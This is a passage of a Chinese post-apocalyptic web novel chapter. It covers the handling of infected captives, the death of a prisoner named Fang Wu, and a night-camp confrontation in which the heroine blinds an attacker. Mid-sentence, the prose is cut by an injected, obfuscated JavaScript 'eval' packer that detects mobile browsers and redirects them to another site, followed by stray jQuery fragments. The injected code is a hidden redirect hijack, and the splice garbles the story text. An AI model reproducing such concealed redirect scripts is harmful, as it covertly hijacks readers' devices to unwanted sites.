邢之单独带走方悮进行审问,江星垂抬腿踢了踢脚下发抖的两人:“干什么抖成这个样子,我们还什么都没干呢。”
两人抖着身躯低着头伏趴在地上,江星垂只能看见对方不断弓起的骨节,透过单薄的衬衣一寸一寸凸起。
手掌开始无意识的抓着地面,发出沙沙声响。
云岫拉过江星垂扯到身后:“离远些,他们两有些不对劲。”
这次她终于看清感染者变异的全过程。
他的脸紧贴地面,右耳压在满是碎石的土地上,眼睛微睁,但白色的瞳孔直勾勾的盯着两人,嘴角还残留着不明液体。
两人双手双脚被绑住无法自由行动,只能通过在地上不停摩擦向前移动。
颤抖不知在何时停止,两人随即压低嗓子开始低吼。
江星垂被拉着连连后退,她掏出防毒面具递给云岫。
等云岫戴上后,江星垂开口:“去看看邢之那边什么情况。”
云岫盯着在地上只能发出威胁声音的两人,他稳下心神转身。
邢之那边不知道如何谈判的,等云岫到达的时候,方悮的右臂以一种奇怪的角度垂着,他蜷缩在地上,嘴里痛呼伴着斥骂。
“邢之,你最好这辈子都别落在我手上。”方悮喘着粗气,疼痛传递他四肢,但他脸上带着嘲讽的笑,“你拿到种子又如何,我死了,上面有人不会放过你的。”
“我要是死了还能销号重来,你最好祈祷下次能认出我。”
邢之右手拿着盒子,根本没朝方悮看一眼,等他看见云岫过来,以为是对方来看询问进度。
“那两个人被感染了,现在还留着性命。”云岫没有废话,将防毒面具给他,眼神瞟向地上依旧在破口大骂的方悮。
方悮听见云岫的话,静了一瞬,眼泪顺着眼角划过,笑声变得更大。
“哈哈哈哈哈,怪不得,怪不得。”方悮恶狠狠的盯着两人,转瞬之间,血液从嘴角溢出。
方悮死了。
邢之依旧没看一眼倒在地上的尸体:“我过去看看。”
云岫点头刚想转身,但方悮尸体逐渐变透明,眨眼间又恢复正常。
等两人回到江星垂身边时,依旧在嘶吼的感染者身体已经扭曲变形,想要冲破束缚。
异植做的特殊麻绳确实非常好用,任凭他们使出各种力气都没能挣脱开。
江星垂看见邢之靠近的身影,询问:“这两个人怎么处置。”
“杀了吧。”
他不确定这种感染物是否伴有潜伏性,他点开手环朝小队众人发通知。
邢之开枪解决两人就地掩埋后,他看着天色逐渐暗淡:“趁着天黑前赶回基地。”
他是掏了钱的雇主,说去哪就去哪。
上车前江星垂开口:“你在方悮身上找到了什么。”
这不是疑问句,江星垂知道那方悮身上携带了不明物品,但不知道是什么。
邢之也没有藏私:“变异荷花的种子。”
“那荷花还有莲子?”她看过整株异植,没发现哪里有种子。
“被包裹在荷花苞里,藏得很深。”邢之伸手接过江星垂递过来的食物,“谢谢。”
他没想到这趟还包饭。
江星垂笑笑:“邢队给的报酬不少,一顿饭而已。”
她又问:“种子他是怎么拿到的。”
邢之沉默:“不知道。”
撒谎。
江星垂没有再问,对方不愿意说她也不会追着讨要回答,等三人吃好后上车出发回基地。
前面先走的众人并不会被基地接纳,要在基地外等待三天,三天后无异常才允许进入基地。
莫名出现的感染者加大了众人心中的恐慌,此事也被下令禁止私下讨论传播,否则将会被逐出基地。
他们的手环从01队到达时已被掌握,任何消息都会经过严格筛查才能发出去。
基地外围有一座专门建立特殊异植的实验室,基地的科研人员穿着厚重的防护服进行异植解剖。
等江星垂三人半夜到达时,众人在距离基地两公里外安营扎寨。
被基地这样对待,其他人也没有任何异议,大家不是不想生气,只是太累了。
身体上的累能通过休息恢复,但某些刻着心里恐惧场景不会随着时间消散,所以在面对重大事故后,基地会派出一些专业人员进行心里疏导。
不是所有人看见队友死在面前心里都能平静接受的,大部分人先是震惊,接着开始恐惧暴怒,会对死者有着强烈的愧疚感。
时间一长精神就会崩溃。
江星垂在临走之前加了邢之通讯方式:“邢队,有事随时联系。”
邢之颔首,看着他们俩渐行渐远的车辆,直至看不见车后尾灯,转身回到小队。
这次营地出事两人白白浪费了两天时间,但也不是毫无收获。
她和云岫两人轮流开车寻找安全的地方过夜,现在还不知道那透明白色虫卵通过什么潜伏,和营地众人呆在一起危险系数也不小。
两人回到上次待过的居民屋,小院周围依旧伴随着风声,外面连植物影子都看不到。
“明天可以晚一点出发。”江星垂铺好车后座,两人简单洗漱过后躺在床垫上。
云岫转过身看着她已经犯困的眼皮,轻声说:“睡吧,我注意着外面动静。”
江星垂拉过毯子捂住头沉沉睡去。
车窗外风反复敲打着窗户,云岫看着毛毯下凸起的身形,他摸着颈间挂着的吊坠,石头散发着微弱的蓝光,窗外风声渐小。
云岫平躺回原位闭上眼睛。
一夜无梦。
江星垂这一觉睡得生命值直接回满,她拉伸着肌肉,仰着脖子沐浴着阳光。
“今天天气不错。”
前两天刮风不断总觉得要下雨,没想到过后是久违的好天气。
两人洗漱过后吃完早餐重新上路。
这次是江星垂开车,自从来到这里,她没有一天晚上睡得好,迷迷糊糊的睡着但心里总想注意着周围动静。
在野外的时间比家里多太多,半夜的一丁点动静都会惊醒她。
这次路程很顺利,顺路还接了几个等级不高的异植任务,两人同吃同住这么多天,默契配合度更
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127486|196151||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是直线上升。
五天路程一眨眼就过去,两人轮流开车身体也逐渐受不了。
这晚两人找了附近的营地休息,这里靠近第一基地,大基地附近的营地人数不少,找了个没人的角落将车停在那。
一男一女这种单薄的组合在末世里非常少见,周围有不少目光投向他们。
“有人盯着我们。”江星垂坐在火堆旁往里扔树枝。
一般人感到新鲜只会多看两眼就干自己的事去,但这批目光像是粘稠的质感死死盯着,让人非常不适。
云岫没动,眼皮都没抬一下,但手已经摸向腰间的镖刃,蓄势待发,仿佛江星垂说出方位镖身就会直朝对方扔去。
“在哪?”
“不急,他们也不敢现在动手。”江星垂安抚他,“嗯……有可能睡觉的时候吧。”
她靠在椅背上,放松的姿态仿佛是出来郊游的:“别管他们了,先吃饭才有力气。”
云岫坐在旁边,用眼神瞄着周围的可疑人员。
并非是刻意迎战,他像是单纯一瞥。
但视线在空中撞上的时候像是两把利刃狠狠擦过。
对方和他对视的下一秒倏的收回视线。
男人心里微滞,觉得那是错觉,两人相隔那么远眼神不可能会对上。
江星垂皱着眉把碗里的胡萝卜丝挑给他,热情的说:“这个好吃你多吃点。”
云岫被她打岔,心里刚升起的火气就被熄灭,专心对付着江星垂不爱吃的蔬菜。
江星垂眨了眨眼睛,看着他笑着。
“这个新出的羊肉烤串,也好吃。”
今晚两人依旧轮流守夜,对方几人对他们造不成任何威胁,无非是会多花一些时间解决。
今夜无风,江星垂把天窗打开,听着火焰燃烧木头的‘滋滋’作响声入睡。
等她半夜起来换班,她弯腰拍了拍云岫后背,示意他去睡觉。
云岫想陪她一起待着,江星垂用手捂住他脸颊,驱散一些凉意。
“去睡吧,明天有场硬仗要打呢。”
他只能回车上去补觉。
还残留着温热的毛毯带着江星垂的气味,被云岫抱在怀里睡去。
对面可是能有人专门候着女生出来守夜,不过多时就有人从帐篷里出来。
光头男人率先朝这边走来,可能是不想吵醒云岫,他的声音不大,但清晰的传进江星垂耳朵里:“美女,我们去其他地方玩玩呗,别吵醒你男朋友了。”
江星垂低着头正拿着复烤的烤串,慢条斯理的吃完最后一口。
在光头男人喉结滚动的一刹那,江星垂动了。
她没有起身,甚至没有多看一眼,她只是抖动手腕,一根沾满羊肉味道的铁签撕碎了空气。
“咻——”
破空声接踵而至。
两只铁签精准无比地深深扎进光头男的双眼,世界仿佛被按下暂停键,火堆的火焰声、身后几人的脚步声全部褪去。
光头男下意识抬起手摸,只摸到脸上带着温热的、粘腻的液体。
“啊——”
惨叫声划破长夜。